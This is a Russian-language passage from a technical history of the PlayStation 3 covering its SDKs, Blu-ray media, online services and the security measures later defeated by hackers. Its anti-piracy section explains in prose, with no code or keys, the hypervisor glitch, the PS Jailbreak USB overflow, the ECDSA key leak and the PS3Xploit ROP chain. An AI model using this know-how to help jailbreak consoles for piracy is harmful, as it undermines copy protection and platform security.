А что насчет Sony? По аналогии с [SDK для PSP](https://classic.copetti.org/writings/consoles/playstation-portable/#development-ecosystem), она поставляла девкиты (во множестве вариантов с разными размерами и улучшениями) и пакет ПО, состоящий из компиляторов, библиотек и отладчиков, которые использовали Visual Studio 2008 (а позже и 2010) в качестве IDE [[67]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-napier).
Поскольку Sony поддерживала только PS3, их SDK включал такой же набор инструментов GCC, но дополненный тоннами библиотек для графических задач, обработки аудио и операций ввода-вывода. В случае с графикой для RSX, Sony предоставляла библиотеки **GCM** для создания низкоуровневых команд и **psGL**, построенная поверх GCM для обеспечения OpenGL ES API.
Для написания шейдеров Nvidia предоставляла **Cg**. Это компилятор шейдеров, который парсирует язык, похожий на GLSL (язык шейдеров, созданный для OpenGL).
#### 7.1.1. Разработка без коммерческой лицензии
С появлением хоумбрю-приложений (работающих на GameOS, а не на OtherOS) были созданы новые наборы SDK с открытым исходным кодом. Сделано это для обхода зависимости от библиотек Sony, защищенных авторским правом, чтобы, следовательно, предотвратить потенциальные судебные разбирательства.
Одним из таких примеров является **PSL1GHT SDK**, который используется в сочетании с **ps3toolchain** [[68]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-ps3toolchain). Всё это обеспечивает полный набор средств разработки, готовый для создания легальных хоумбрю-приложений (хотя для этого требуется модифицированная / взломанная консоль с отключенной проверкой подписи).
В 2018 году я создал собственный набор на основе ps3toolchain, но распространяемый в виде Docker-контейнера [[69]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-docker). Чтобы самому не компилировать ps3toolchain, можно было загрузить мою предварительно скомпилированную среду (сэкономив много времени на компиляцию). Контейнер также содержит множество инструментов, таких как компилятор **Cg** от Nvidia, чтобы смягчить проблемы с зависимостями, которые я обнаружил во время экспериментов с проектом на базе PSL1GHT. В итоге это был забавный эксперимент, который помог мне узнать больше о среде разработки.
#### 7.1.2. Аутсорсинг разработки
Стоит отметить, что за это время возросла популярность своеобразной бизнес-модели: **игровые движки**.
Вместо того чтобы тратить время и деньги на разработку игры с нуля, почему бы не купить готовую кодовую базу от других компаний и не создать игру на её основе? Это то, что предполагали игровые студии, такие как Epic Games [[70]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-unreal). Помимо продажи популярных игр, таких как *Unreal Tournament 3*, студия лицензировала урезанную версию игры (без ассетов) другим разработчикам. Она была упакована и названа **"Unreal Engine 3"**.
Вкратце, игровые движки берут на себя всё фундаментальные задачи, такие как физика, освещение и прочее. Разработчикам остается только добавить свой собственный контент (скрипты, текстуры, модели, звуки и прочий контент).
Лицензирование игровых движков - не новая бизнес-модель, но из-за сложной среды PS3 они в конечном итоге стали ещё одним привлекательным вариантом для разработки.
### 7.2. Носители информации
Теперь, когда мы закончили говорить о разработке игр, настало время рассмотреть их распространение. Итак, здесь описываются официальные механизмы распространения игр для PS3.
#### 7.2.1. Диски Blu-ray
Пример розничной игрыНовое поколение = новый носитель.
Ограничения формата DVD начинали становиться всё более очевидными, как для игровой индустрии (малый объем данных на диске), так и для киноиндустрии (формат видео 480i) [[71]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-dvd). Это был вопрос времени, когда Sony (или иной производитель) представит [новый стандарт](https://classic.copetti.org/writings/consoles/playstation-portable/#tab-5-1-umd-discs) для замены предыдущего в новых устройствах.
Для своей новой консоли Sony выбрала диск формата **Blu-ray**.
Как понятно из названия, **Blu-ray** - это новый формат оптических дисков, обеспечивающий более высокую плотность хранения данных благодаря использованию **синих светодиодов** [[72]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-brit), в отличие от красных, используемых в DVD. Поскольку синий свет имеет меньшую длину волны, чем красный, то в одном и том же месте на диске может быть записано больше информации ([питов и лендов](https://classic.copetti.org/writings/consoles/playstation/#anti-piracy--region-lock)) [[73]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-blue_laser). В результате диски Blu-ray дают удивительно большую емкость (от 25 ГБ до 50 ГБ!), используя тот же пластиковый диск с теми же размерами, что и CD или DVD.
Формат данных Blu-ray удовлетворяет многим потребностям в различных отраслях: фильмы высокой четкости, управление цифровыми правами (DRM), региональная блокировка, новая файловая система и даже среда выполнения для Java-программ [[74]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-bdj). В случае игровой индустрии, розничные игры для PlayStation 3 распространялись на **25 ГБ или 50 ГБ** дисках с **защитой от копирования**. Они считываются приводом 2x, развивающим скорость до 8.58 МБ/с [[75]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:io-bd_rev), однако лазер PS3 также может считывать DVD (на скорости 8x) и CD (на скорости 24x) для воспроизведения старых игр и фильмов.
В то время как ранние игры для PS3 работают с диска, более поздние игры копировали часть своих ресурсов на жесткий диск для увеличения скорости чтения. Тем не менее, диск с игрой необходим всегда для запуска игры.
#### 7.2.2. Онлайн-магазин
Скриншоты магазина PlayStation Store на PS3Приложение PS Store в XMBКаталог игр, отображаемый при открытии магазинаИнтерфейс поиска (который использует другую, не от XMB, клавиатуру)Пример страницы игры (сопровождается предложениями,
которые работают только на других консолях…)Одновременно с выпуском консоли Sony запустила собственный канал распространения под названием **PlayStation Store**, позволяющий игровым студиям продавать свои игры в цифровом виде, а пользователям приобретать их, не вставая с дивана. Для работы игр не требуется никакого физического носителя (кроме места на жестком диске), но владение цифровым продуктом было привязано к онлайн-аккаунту. Это вызвало беспокойство пользователей в марте 2021 года, когда Sony объявила [[76]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-closure) (а затем отменила [[77]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-reversal)) закрытие этого магазина.
В своем цифровом магазине Sony также воспользовалась возможностью продавать оцифрованные версии игр для PS1, PS2 и PSP под названием **PlayStation Classics**. Они загружаются и устанавливаются аналогично играм для PS3, но для их работы используются эмуляторы, прилагаемые в цифровой версии. Фактически, игры PS2 используют один и тот же *неускоренный* программный эмулятор независимо от того, содержат ли модели PS3 чипсет PS2 [[78]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:io-ps2emu) или нет! Полагаю, это заключительная глава для аппаратной эмуляции в PS3.
За кулисами PS Store - это просто веб-сайт, доступный только через приложение PS Store в XMB. На протяжении своего жизненного цикла пользовательский интерфейс несколько раз переделывался, чтобы отражать, как я полагаю, *глобальный спрос на более причудливые пользовательские интерфейсы*.
### 7.3. Сетевой сервис
Помимо интернет-магазина, на платформе появилось множество других онлайн-решений, включая дебютировавший бесплатный (*только на PS3 и PS Vita - прим. переводчика*) онлайн-сервис **PlayStation Network** (PSN), который напрямую конкурирует с платным [Xbox Live](https://classic.copetti.org/writings/consoles/xbox/#network-service) от Microsoft.
Сервис позволил пользователям создать личный аккаунт, назначить аватар, и затем использовать эту новую цифровую личность для многопользовательских игр, переписки и других социальных взаимодействий. Пользователи также могут получать **трофеи**, если они совершают определенное событие или действие в игре. Затем они отображаются в онлайн-профиле (как некая медаль почета), чтобы, наверное, *запугать соперников и завоевать уважение друзей*.
Скриншоты меню PlayStation Network в XMBИгры предлагают список достижений, чтобы бросить вызов своим пользователям.
Цель - дать игрокам чувство гордости и удовлетворенияСписок друзей
(Имена скрыты по очевидным причинам)После того, как я немного поиграл в онлайн-игры,
случайные люди начали присылать мне сообщенияИ последнее, но не менее важное: как и в случае с обновляемой ОС, игры тоже обновляются. Таким образом, при запуске игры XMB может предложить загрузить обновления игры (в виде “пакетов”), которые исправляют ошибки и/или добавляют новый контент. Обновления устанавливаются на жесткий диск и работают аналогично *слоистой файловой системе*.
8. Борьба с пиратством и хоумбрю-приложениями
---------------------------------------------
Все, что вы только что прочитали, должно быть каким-то образом защищено от "несанкционированного" доступа. Если хотите ознакомиться с тем, как компания Sony выполнила эту работу, то вам дальше будет интересно.
### 8.1. Обзор фундамента безопасности
Многие части консоли уже обеспечивают функции безопасности, которые не требуют ручной реализации в ПО:
* **SysCon**: непонятный проприетарный чип (кратко упомянутый в процессе загрузки), который управляет линиями питания Cell, RSX и южного моста. Его EEPROM содержит записи, считываемые модулями ОС, чтобы определить, какие функции включены, а какие нет [[79]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-qaflag).
+ Хоть я и использую слово “непонятный”, но SysCon - это просто микроконтроллер, либо взятый с полки [ARM7TDMI](https://classic.copetti.org/writings/consoles/game-boy-advance/#cpu)-S (вот так, PS3 имеет некоторые общие черты с [Game Boy Advance](https://classic.copetti.org/writings/consoles/game-boy-advance/) и даже поздними версиями PS2) с поддержкой [MagicGate](https://classic.copetti.org/writings/consoles/playstation-2/#interactive-accessories), либо измененный вариант NEC 78K0R [[80]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-syscon). Больше всего интригует внутренняя прошивка SysCon.
+ SysCon и Cell общаются друг с другом с помощью последовательного интерфейса (SPI), который подключается к компоненту **TEST** в Cell [[81]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-cell_test). TEST предоставляет множество функций отладки Cell, хотя SysCon подключается только к порту "Pervasive logic", позволяя последнему управлять такими вещами, как питание или температура [[82]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-pervasive).
* Cell содержит **скрытый ROM**, в котором хранятся незашифрованные процедуры загрузки, не опасаясь, что посторонние смогут увидеть или изменить их.
* **Режимы привилегий** Cell и **изолированный режим** SPE предотвращают доступ программ к неавторизованным ресурсам.
* Южный мост плавно шифрует содержимое жесткого диска с помощью AES.
* Подсистема Blu-ray представляет собой ещё одну крепость. Содержимое диска шифруется с помощью ключа, который находится в области диска "ROM mask" (недоступной для обычных считывающих устройств) [[83]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-bdauth).
Кроме того, Sony внедрила в ПО следующие средства защиты:
* Сложная **цепочка доверия**, которая начинается с незашифрованного загрузочного ROM в Cell и заканчивается графическим интерфейсом пользователя (XMB), который загружает только зашифрованные Sony двоичные файлы под ядро и гипервизор.
+ Цепочка доверия реализует несколько **алгоритмов шифрования**, включая асимметричные (RSA и ECDSA) и симметричные (AES) в сочетании с HMAC и SHA-1 (для подтверждения целостности данных).
* Некоторые ключи шифрования **изготавливаются в процессе производства**. Это значит, что если хакеры найдут и выложат эти ключи, они не будут работать на других консолях. За это приходится расплачиваться тем, что Sony не может исправлять ПО, зашифрованное этими ключами, после того как консоль покинет завод.
+ Эти специальные ключи используются для `bootldr` и `metldr` (ранние стадии загрузки).
* Игры должны обращаться к ядру для доступа к железу, которое, в свою очередь, обращается к **гипервизору**. Эти "абстракции", *в теории,* не позволят [игровым эксплойтам](https://classic.copetti.org/writings/consoles/playstation-portable/#tab-8-1-early-blunders) превышать привилегии в системе.
Диаграмма шифрованного SELF-файла### 8.2. Поражение
Вы уже видели, на что способна эта консоль, но ожидали ли вы, что хакеры будут довольствоваться ограниченными возможностями OtherOS? Думаю, Sony тоже не ожидала. Компания изо всех сил старалась защитить некоторые области, но оставляла другие области полузакрытыми, которыми позже и воспользовались хакеры.
Давайте посмотрим, как некоторые из "крепостей" консоли были взломаны независимыми хакерами по всему миру. Следует помнить, что сообщество взломщиков PS3 было очень активным, каждый год выпуская множество инструментов и документации. Поэтому я остановлюсь на нескольких вехах, которые проложили путь к притоку контента и разработке хоумбрю-приложений, но больше информации вы найдете на PS3History [[84]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-ps3history).
#### 8.2.1. Обход гипервизора
В 2010 году, после трех лет затишья на хакерской сцене, в сообществе произошло нечто интересное.
**Джордж Хотц** (George Hotz) - это хакер, известный тем, что ранее разблокировал первую модель iPhone 2G, чтобы она могла работать с любой сетью (первоначально телефон работал только с сетью Cingular / AT&T). Так вот - он смог прочитать и записать защищенные области в памяти консоли, не будучи остановленным гипервизором. Позже он опубликовал свой эксплойт вместе с кратким его описанием в своем блоге [[85]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-lv1xploit).
Эксплойт требует двух материалов: установки Linux под управлением OtherOS (для выполнения произвольного, но ограниченного кода) и наличия внешнего глитчера, подключенного к шине XDR (для общения с ОЗУ).
Коротко, гипервизор использует хэш-таблицу, хранящуюся в ОЗУ, для каталогизации адресов памяти вместе с их уровнями привилегий. Поэтому пользовательские программы не могут получить доступ к защищенным областям памяти.
Атака работает путем нарушения целостности такой таблицы, чтобы иметь возможность писать поверх неё, а затем использовать эту привилегию для изменения записей, чтобы предоставить текущей программе доступ к каждой области в памяти.
В итоге Хотц обнаружил, что в Linux / OtherOS программы могут запрашивать у гипервизора множество блоков памяти, указывающих на один и тот же физический адрес. Если программа деаллоцирует их в то время, когда на шине XDR присутствуют внешние помехи (например, из-за глитчера, посылающего электрические импульсы), процесс деаллокации завершается наполовину [[86]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-lv1xploit_summary). Как следствие, хэш-таблица гипервизора (находящаяся в ОЗУ) все ещё содержит запись о выделенных адресах, но в то же время он считает, что это пространство было освобождено.
Затем эксплойт Хотца запрашивает дополнительные блоки, поэтому гипервизор расширяет свою таблицу новыми записями. Этот процесс продолжается до тех пор, пока запись в хэш-таблице не перекрывает место в памяти блока, который должен был быть деаллоцирован. Поскольку в хэш-таблице сохранилась старая запись, дающая пользователю доступ к этому адресу, гипервизор в итоге предоставляет к изменению записи в хэш-таблице! Таким образом, эксплойт изменяет запись, чтобы расширить доступ ко всему пространству памяти.
Диаграмма, описывающая атаку на гипервизорХоть этот эксплойт и требовал использования среды Linux, работающей из под OtherOS, он стал огромным шагом к дальнейшему реверс-инжинирингу и исследовательским проектам. Теперь хакеры получили возможность исследовать критические области системы, которые изначально были недоступны. Стоит отметить, что в это же время Sony выпустила обновление ПО версии `3.21`, которое убирало из консоли OtherOS. Можно было бы подумать, что это удержит хакеров от продолжения работы, но это только дало им больше причин ускорить её.
#### 8.2.2. PS Jailbreak
"Официальная" флешка PS JailbreakПозже, в 2010 году, группа под названием **PS Jailbreak** анонсировала (и позже выпустила) уникальное решение для запуска хоумбрю-приложений непосредственно из встроенной оболочки консоли (XMB, из под GameOS) без вмешательства в железо консоли. И все это не понравилось Sony, которая вскоре пойдёт юридическим путём, чтобы заблокировать продажи продукта.
**Устройство от PS Jailbreak** - это USB-флешка, которая подключалась к переднему USB-порту перед включением консоли. Далее пользователь должен был нажать кнопку питания, затем - кнопку извлечения. Если инструкции были выполнены успешно, то пользователь видел обычный интерфейс XMB, но с добавленной опцией **"Install PKG"** и нескольких хоумбрю-приложений, созданных для копирования игр с Blu-ray на жесткий диск и их последующего запуска.
За кулисами эта флешка выполняет огромное количество работы, которую можно разделить на две части [[87]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-psjail):
1. **USB-эксплойт**: после включения консоли флешка обманывает систему, заставляя её думать, что она подключена к USB-хабу со шестью портами. Потом она выполняет сложную последовательность USB-команд, пока не достигнет **переполнения кучи** и эскалации доступа к ядру PS3 (уровень 2). Затем она приступает к выполнению полезной нагрузки (payload).
2. **Payload**: это ещё один сложный пакет, который исправляет оригинальную оболочку, чтобы включить скрытые функции, доступные только на отладочных устройствах (кнопка "Install PKG"). Пакет отключает проверку подписи (для загрузки произвольного модуля или пакета) и перенаправляет команды Blu-ray на жесткий диск (для загрузки игр). Тот факт, что эта программа может изменить так много на уровне ядра, заставляет задуматься, а в чём же гипервизор хорош?
В дополнение к этому M4j0r позже сказал:
> Интересно, что он даже не использует код Sony, эта часть lv2 была написана Logitech, и разработчики этого эксплойта могли иметь доступ к исходному коду (благодаря взлому 2008 года) [[88]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:operating_system-psxplace)
>
>
Позже этот продукт был взломан другими сообществами, и вскоре появились клоны с открытым исходным кодом (например, Groove), которые снимали многие ограничения оригинала (например, пользователи теперь могли отключать устройство от сети после завершения эксплойта). Некоторые форки были даже развернуты на калькуляторе Texas Instruments [[89]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-tijb).
В любом случае, Sony действовала быстро, выпустив обновление ПО версии `3.42`, чтобы удалить эту золотую жилу [[90]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-pshistory). Но всё-таки дверь для хоумбрю-приложений уже была открыта.
#### 8.2.3. Достойны упоминания
Прежде чем я наконец-то расскажу о главном достижении хоумбрю-сцены PS3, позвольте мне описать пару методов, которые были разработаны примерно в то же самое время:
* **USB Jig**: ещё один USB-накопитель, на этот раз запрограммированный на то, чтобы обманом заставить консоль войти в режим **Factory Service Mode**. Этот режим предназначен только для обслуживания консоли авторизованным персоналом. Программа, встроенная в Jig, повторяет программу, которую Sony предоставляет своим инженерам. Основное преимущество сервисного режима - это возможность [понизить прошивку консоли до версии](https://classic.copetti.org/writings/consoles/playstation-portable/#tab-8-2-downgrading), совместимой с PS Jailbreak. Payload также был доступен в виде хоумбрю-приложения для PSP [[91]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-pspjig). В ответ Sony внесла исправления в сервисный режим, чтобы затруднить его восстановление в "нормальный" режим или изменение прошивки через него, отговаривая пользователей от использования режима.
* **Эмулятор оптического диска** (Optical Disc Emulator, ODE): серия аппаратных продуктов, которые поставлялись различными компаниями (Cobra, E3 и прочими). Они вмешивались не в прошивку консоли, а в интерфейс SATA / PATA диска Blu-ray. ODE - это платы, которые устанавливаются между материнской платой и приводом Blu-ray, выступая в роли посредника. Эмулятор обманывает консоль, заставляя её думать, что на диске находится игра, но вместо этого загружает образ диска с внешнего USB-накопителя. Однако на момент выхода эти устройства стоили довольно дорого. История взлома PS3 содержит длинные "непрошиваемые" периоды времени, когда для новых консолей не было доступных программных эксплойтов, поэтому ODE смогли заполнить этот пробел.
* **Даунгрейдер**: поскольку Sony продолжала устранять уязвимости с помощью новых обновлений ПО, у пользователей не осталось другого выбора, кроме как понизить версию прошивки с возможностью запуска эксплойта. Таким образом, появились компании, подобные E3, которые поставляли специализированное оборудование, позволяющее переписать систему консоли "трудным способом". То есть, путем прямой прошивки чипов NAND или NOR. По понятным причинам этот метод требует большего мастерства и терпения по сравнению с USB-методом.
* **Изолированные утечки**: эта утечка предназначена для исследовательских целей, в отличие от "функций", которые увидит пользователь (но, тем не менее, она необходима для дальнейшего развития). В любом случае, данные о возврате сертификатов (для внесения скомпрометированных в черный список) анализируются `lv2ldr`, ведь так? Ну, было обнаружено, что этот процесс содержит множество уязвимостей. Во-первых, по необъяснимой причине, **эти данные могут быть записаны в пользовательской среде**. Во-вторых, **парсер не выполняет проверку границ получаемых данных** ([*и вот опять*](https://classic.copetti.org/writings/consoles/playstation-2/#tab-8-4-ps1-overflow)). Поэтому хакерам удалось создать пользовательские данные о возврате, которые могли привести к переполнению буфера и, в конечном итоге, позволить им выполнить **произвольный код внутри изолированного режима SPU**. Это позволило получить доступ к конфиденциальным данным (т.е. ключам), которые предположительно были защищены от остальной части системы [[92]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:operating_system-psxplace).
#### 8.2.3. Падение шифрования
Как и в саге с PSP, первоначальные эксплойты требовали больших усилий и легко исправлялись Sony, что привело к невыгодной игре в кошки-мышки. Однако, как и в случае с PSP, это был вопрос времени, когда какое-нибудь открытие нарушит фундамент безопасности этой системы: её цепочку доверия.
В 2011 году Джордж Хотц вместе с командой **fail0verflow** опубликовали ещё одно открытие - **закрытые ключи шифрования, которые Sony использует для подписи двоичных файлов, выполняемых**`metldr`.
Бинарные файлы, загружаемые на этапе загрузки, подписываются ключом ECDSA. Так как это асимметричная система шифрования, то любой, кто владеет закрытым ключом (Sony, а теперь и *другие*), может зашифровать и подписать двоичные файлы. В глазах `metldr` эти файлы будут выглядеть "подлинными".
А поскольку `metldr` является третьим этапом загрузки перед загрузкой `lv1` (гипервизора), это означает, что хакеры смогут создавать собственные гипервизор, ядро и всё, что находится под ними. Кроме того, любая PlayStation 3 на рынке будет думать, что пользовательские двоичные файлы являются подлинными. В общем, это был эксплойт в стиле [батареи Пандоры](https://classic.copetti.org/writings/consoles/playstation-portable/#tab-8-3-pandora), но он был полностью программный.
Открытие этого ключа, которое должно было быть вычислительно невыполнимым, стало возможным благодаря "оплошности" в реализации алгоритма ECDSA компанией Sony.
Кратко, математическая формула, используемая для ECDSA, использует случайное значение, которое Sony никогда не меняла во всех файлах обновлений, которые они распространяли [[93]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-ecsda).
Это значение, по сути, превращалось в константу, тем самым облегчая решение других переменных, что в итоге и произошло. Последствия этого открытия описаны в следующих параграфах.
### 8.3. Эра кастомных прошивок
Список различных механизмов защиты, которые были скомпрометированыВзлом `metldr` означал, что теперь все могли создавать "официальные" системы для PS3, что привело к появлению "разновидностей" GameOS, которые различные сообщества выпускали с различными настройками. Эти системы представляли собой модификации официальных файлов прошивки Sony (которые она распространяла в виде обновлений) и пересобирались с использованием утечки ключей, поэтому их можно было установить куда угодно.
Результат получил название "**кастомная прошивка"** (Custom Firmware, CFW) и стал **де-факто** методом взлома этой консоли, пока Sony не приняла жесткие меры по его устранению.
Моя установленная CFW с открытым “меню VSH”.
Этот вариант прошивки (под названием "Rebug") также позволяет мне
превратить консоль в отладочную станцию и возиться со своими хоумбрю-приложениями.Тем временем в сети появилось множество CFW с разными названиями (например, "Rebug", "Ferrox" и прочее), и они содержали следующие особенности [[94]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-patches):
* Отключение проверки подписи для любого установленного или устанавливаемого модуля.
* Разрешение чтения и записи (классический *peek and poke*) по любому адресу памяти, используя либо гипервизор (уровень 1), либо ядро (уровень 2).
* Активация скрытых функций отладки для установки модулей, упакованных в виде файлов `.pkg`. Для работы в среде CFW их не нужно было подписывать ключами Sony.
* Включение возможности монтирования образа диска, как если бы был вставлен диск Blu-ray.
* Восстановление OtherOS и даже его усовершенствование за счет снятия ограничений, накладываемых гипервизором. Результат был назван OtherOS++.
* Запись базы данных в EEPROM чипа SysCon, позволяющая установить любую версию системы по выбору. Это также известно как *QA Toggling*.
* Изменение стиля XMB (например, удаление предупреждения об эпилепсии, разрешение делать скриншоты в игре и так далее).
Есть и мой любимый вариант: привнести отладочные функции из тест-кита, позволяя любой розничной консоли стать отладочной станцией. Это может быть сделано установкой либо прошивки с возможностями отладки, либо той, которая может преобразовать розничную консоль (**CEX**) в отладочную модель (**DEX**) путем изменения специфических для консоли данных во флэш-памяти.
#### 8.3.1. Sony наносит ответный удар
Аналогично событиям, произошедшим после появления [CFW](https://classic.copetti.org/writings/consoles/playstation-portable/#tab-8-4-cfw-and-beyond) для PSP, Sony ответила двумя обновлениями системы безопасности:
Со стороны ПО Sony выпустила два системных обновления, которые улучшили систему безопасности:
* В версии `3.56` двоичные файлы подписываются новыми ключами шифрования, устойчивыми к предыдущему открытию ECSDA [[95]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-keys). Из-за этого создатели CFW не могут настроить новые двоичные файлы (поскольку у них нет закрытых ключей для повторного шифрования).
Кроме того, поставляется новая версия приложения **System Updater**, которое вводит новые сертификаты в файлы обновления системы (`PS3UPDAT.PUP`). Это означает, что даже если хакерам удастся собрать новый CFW, только консоли с версией системы `3.55` или ниже смогут установить его [[96]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-spkg).
* Позже, обновление системы `3.60` изменило процесс загрузки. Оно упразднило `metldr` и переместило `lv0` на место загрузчиков (`lvl1dr`, `lv2ldr`, `appldr` и `isoldr`). В целом это означало, что хакеры не могли модифицировать новые системные файлы без предварительного взлома `lv0` (нахождения его закрытого ключа).
+ В конце концов это произошло в конце 2012 года, когда команда под названием "Три Мушкетера" (The Three Musketeers) опубликовала ключи lv0 [[97]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-lv0leak). Это открыло путь к новым CFW, сделанным на основе версий системы, более новых, чем `3.55`. Хотя, из-за вышеупомянутых изменений в программе обновления, установить её могут только пользователи системы версии `3.55` или ниже (включая любые CFW с отключенной проверкой подписи).
С **аппаратной стороны**, не только последующие модели PS3 (*CECH-25xxx, CECH-3xxx и CECH-4xxx*) теперь поставляются с версией системы выше `3.55`, но и содержат другой вариант `bootldr` или `lv0ldr` (называемый `lv0ldr.1`).
Этот вариант расшифровывает и загружает `lv0` и извлекает новый системный файл `lv0.2`. Последний содержит метаданные о `lv0` [[98]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-lv0ldr), чтобы удостовериться, что `lv0` не был подделан. `lv0.2` подписывается новым ключом (также неуязвимым к предыдущему открытию ECDSA), что не позволяет хакерам получить контроль над цепочкой загрузки.
По сей день **эти модели консоли не могут запустить CFW**, поэтому их прозвали *непрошиваемыми*. Однако они могут работать с "гибридной прошивкой", о которой мы поговорим позже.
Со временем количество CFW-совместимых консолей только уменьшалось, поэтому PS3, не обновленные до версии `3.55`, стали своего рода *реликвиями*. В то же время резко возрос спрос на альтернативы, такие как даунгрейдеры (для возврата к версии системы `3.55` на старых моделях) и ODE (для запуска пиратских игр на новых моделях).
#### 8.3.2. Возвращение хоумбрю-приложений
После длительного периода ожидания для пользователей, которые пропустили окно для установки CFW, в конце 2017 года команда хакеров выпустила **PS3Xploit**, коллекцию эксплойтов и утилит [[99]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-ps3xploit). Они вернули возможность установки CFW на старые модели без необходимости использования дорогостоящего даунгрейдера (и навыков работы с ним).
Основная полезная нагрузка PS3Xploit полностью повторяет работу аппаратного даунгрейдера (исправление файлов CoreOS), но с помощью программного обеспечения. Нагрузка работает следующим образом:
1. Отправной точкой является интернет-браузер XMB, построенный на базе WebKit. PS3Xploit использует JavaScript для получения возможности **выполнения произвольного кода в пользовательском пространстве системы** (и вне среды JavaScript). Чтобы запустить эту программу, пользователю достаточно открыть родной веб-браузер XMB, ввести URL-адрес, указывающий на хост PS3Xploit, и позволить ему сделать свою работу.
2. Так получилось, что ядро предоставляет системные вызовы, которые могут быть использованы для **перезаписи файлов системы во флэш-памяти**. Кроме того, оболочка (XMB) и её плагины хранят в памяти процедуры, которые используют эти вызовы.
3. PS3Xploit не может вызвать эти системные вызовы напрямую из-за защиты "no-execute" гипервизора, не позволяющей эксплойту загружать новый код в пользовательскую среду. Однако он может найти способ перезаписать флэш-память, "позаимствовав" процедуры у оболочки.
4. PS3Xploit модифицирует стек выполнения WebKit так, чтобы перенаправить выполнение на подпрограммы оболочки. Этот тип атаки (повреждение стека для перенаправления выполнения на другой код, находящийся в памяти) называется **программированием, ориентированным на возврат** (Return Oriented Programming, ROP), и он очень популярен в жанре InfoSec.
Одним из способов борьбы с ним - **реализация рандомизации расположения адресного пространства** (Address Space Layout Randomization, ASLR), которая затрудняет угадывание расположения процедур (называемых *гаджетами*). Но, как можете догадаться, в гипервизоре Sony отсутствует ASLR.
5. Эти системные вызовы запускаются с параметрами PS3Xploit, и таким образом они заменяют файлы CoreOS (первая часть операционной системы, хранящаяся во флэш-памяти) на исправленные [[100]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-flash_writer).
6. Теперь консоль способна устанавливать неофициальные обновления программного обеспечения, и пользователь может этим *воспользоваться* для установки кастомной прошивки. Правда, пока что он не может понизить версию системы, но после установки актуального CFW пользователь может установить дополнительные утилиты для понижения версии системы, и если захочет, и установить более улучшенную CFW.
Как видите, этот *"подарок с небес"* вернул кастомные прошивки в центр внимания и сделал устаревшими аппаратные даунгрейдеры и ODE. С другой стороны, для тех моделей, которые не могли установить CFW любым способом (*непрошиваемые*), позже командой был предложен другой пакет эксплойтов, **PS3Hen**.
**PS3Hen** фокусировался на включении подмножества функций CFW в прошивку (включая возможность запуска хоумбрю-приложений). Этот пакет устанавливает точку входа в XMB, и пользователь должен запускать её каждый раз при включении консоли, чтобы снова активировать хоумбрю-приложения.
#### 8.3.3. Частичный ответ от Sony
К счастью, Sony предприняла лишь небольшие шаги, чтобы заблокировать PS3Xploit (возможно, потому, что такой поворот событий произошел спустя годы после того, как преемник консоли, **PlayStation 4**, появился в магазинах). Они выпустили несколько системных обновлений, которые не исправили эту цепочку эксплойтов, но удалили процедуру, используемую в WebKit для начальной загрузки цепочки.
В ответ хакеры опубликовали слегка измененные обновления ПО, которые содержали в себе восставленную точку входа (и почему-то обновления не нужно было заново подписывать) [[101]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:anti_piracy-hfw). Эти пользовательские обновления были названы **Гибридной прошивкой** (Hybrid firmware, HFW). На момент написания этой статьи, они являются единственной возможностью запускать хоумбрю-приложения на непрошиваемых моделях.
И на этом заканчивается сага о борьбе с пиратством. По моему скромному мнению, не думаю, что Sony заинтересована в том, чтобы прикладывать больше усилий для защиты этой консоли. Поэтому я бы не ожидал новых игр в кошки-мышки в этой области.
9. На этом всё, ребята!
-----------------------
Две PS3, на одной из игра, “которую нельзя называть”.
Несмотря на забагованный геймплей и необычную сюжетную линию, мне вполне понравился этот жанр.Ура, вы добрались до конца!
Буду откровенен, я изначально планировал написать статью за 2 месяца, однако это растянулось на целое лето (и вы знаете почему). В любом случае, надеюсь, что это помогло вам расширить свои знания об этой системе, и позволило вам понять причины технологического прогресса в ту эпоху. Таким образом, теперь вы можете мыслить шире популярных слухов, постоянно повторяемых *СМИ*.
Если вам интересно, для этой статьи я использовал три модели PS3:
* *Непрошиваемая* CECH-3001 прямиком из моего подросткового возраста (почему-то на коробке написано, что это модель CECH-25XX!). Недавно достал её из чердака, чтобы попробовать PS3Hen.
* CECH-2100, которую я купил после выхода PS3Xploit. Наконец-то я смог установить на неё хоумбрю-приложения.
* Модель CECHA (выпущенная только в Японии), купленная мною в августе 2021 для сбора материалов для этой статьи (в основном фотографии и информация об обратной совместимости с PS2). Это было довольно дорого, но, к счастью, пожертвования читателей помогли мне компенсировать расходы.
